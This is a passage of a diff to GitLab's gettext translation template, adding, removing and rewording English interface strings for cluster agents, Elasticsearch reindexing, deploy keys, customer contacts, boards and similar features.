msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -819,9 +844,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -913,6 +935,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1043,6 +1068,10 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
msgstr ""
@@ -1052,6 +1081,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1089,6 +1121,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1369,9 +1404,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1408,9 +1440,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1459,9 +1488,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1597,9 +1623,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1846,12 +1869,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -1894,6 +1923,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,7 +2130,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3439,6 +3480,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3598,6 +3642,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4549,6 +4605,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6337,10 +6432,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6391,9 +6486,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7089,6 +7184,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -10891,6 +11085,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12142,9 +12357,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
